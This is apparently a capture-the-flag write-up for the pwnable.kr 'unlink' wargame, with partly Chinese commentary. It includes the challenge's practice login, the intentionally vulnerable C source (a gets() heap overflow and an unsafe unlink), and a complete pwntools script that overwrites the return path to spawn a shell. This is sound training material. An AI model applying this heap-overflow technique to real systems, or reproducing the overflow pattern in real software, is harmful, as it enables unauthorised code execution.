Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

 

源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

观察汇编发现

unlink_JAVA

 

 最后的return返回的地址是[ecx-4],而ecx是有[ebp-4]得到,因此只要覆盖ebp-4为一个含有shell函数地址的地址+4即可

exp如下:

from pwn import *

#context.log_level = 'debug'

#io = process('./unlink')
#io = gdb.debug('./unlink', 'b *0x80485E9')
p = ssh(host = 'pwnable.kr', user = 'unlink', password = 'guest', port = 2222)
io = p.process('./unlink')
shell_addr = 0x80484EB

io.recvuntil('here is stack address leak: ')
stack_addr = int(io.recvuntil('\n', drop = True), 16)
info('stack_addr: ' + hex(stack_addr))
goal_addr = stack_addr + 0x10
info('goal_addr: ' + hex(goal_addr))

io.recvuntil('here is heap address leak: ')
heap_addr = int(io.recvuntil('\n', drop = True), 16)
info('heap_addr: ' + hex(heap_addr))

payload = p32(shell_addr) + p32(0) + p32(0) + p32(0x19) + p32(heap_addr + 12) + p32(goal_addr)
io.recvuntil('now that you have leaks, get shell!\n')
io.sendline(payload)

io.interactive()